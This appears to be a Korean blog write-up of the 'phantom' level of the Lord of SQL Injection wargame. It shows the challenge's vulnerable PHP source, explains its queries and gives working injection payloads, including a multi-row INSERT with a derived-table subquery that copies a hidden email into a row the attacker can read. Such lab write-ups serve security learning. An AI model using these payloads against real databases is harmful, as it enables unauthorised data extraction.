PHANTOM
상단에 ip와 email이 나오는 테이블이 있다.
소스:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?php
include "./config.php";
login_chk();
$db = dbconnect("phantom");
if($_GET['joinmail']){
if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
$query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
mysqli_query($db,$query);
echo "<hr>query : <strong>{$query}</strong><hr>";
}
$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
if($result['no'] == 1) $result['email'] = "**************";
echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
echo "</table>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
highlight_file(__FILE__);
?>
|
cs |
if($_GET['joinmail']){
if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
$query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
mysqli_query($db,$query);
echo "<hr>query : <strong>{$query}</strong><hr>";
}
6~11행에서는 joinmail을 get방식으로 받는다.
입력값에서 duplicate라는 문자열을 필터링 하는데, duplicate가 있으면 nice try 라고 하고 죽어버린다.
duplicate와 비슷한 것들을 이용해야하는 건가..?
$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
if($result['no'] == 1) $result['email'] = "**************";
echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
13~18행
no=1 or ip = '내 아이피' 에 있는 no, ip, email을 가져온다.
no가 1 이면 email을 *로 표시한다.
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
no가 1인 것의 email을 구해야 문제가 풀린다.
쿼리들을 순서대로 본다면, INSERT -> SELECT -> DELETE
값을 집어넣고, 가져와서 비교하고, 집어넣은 것들을 다시 없애기(초기화)
insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')
no = 0, ip, email 순서로 insert를 한다.
ip에 내 아이피가 들어가고,
select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'
여기서 내 아이피인 것도 가져오기 때문에, 위에서 삽입한 행도 불러온다.
위에서 행을 삽입할 때, email을 no=1인 email을 복제해서 넣는다면 복제된 email을 볼 수 도 있을 것이다.
joinmail = hihi'), (10,'xxx.xxx.xxx.xxx','hello')%23
이렇게 하면 한 번에 값을 두개 넣을 수 있다.
그래서 이런 것을 시도해 봤다.
hihi'), (10,'xxx.xxx.xxx.xxx',(select email from prob_phantom where no=1))#
no=1인 것의 email을 가져와 넣는 것이다. 하지만 되지 않았다..
이유를 찾아보니..같은 테이블에서는 오류가 나는 것이었다.
임시테이블을 만들어서 그 임시테이블의 값을 가져온다면?
hihi'), (12,'xxx.xxx.xxx.xxx',(select e from (select email as e from prob_phantom where no=1)as t) )#
이제 나온 email을 파라미터로 전달하자.
PHANTOM Clear!
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
LORD OF SQL INJECTION [zombie] 풀이 (0) | 2019.12.09 |
---|---|
LORD OF SQL INJECTION [ouroboros] 풀이 (0) | 2019.12.08 |
LORD OF SQL INJECTION [frankenstein] 풀이 (0) | 2019.12.06 |
LORD OF SQL INJECTION [blue_dragon] 풀이 (0) | 2019.12.05 |
LORD OF SQL INJECTION [red_dragon] 풀이 (0) | 2019.11.19 |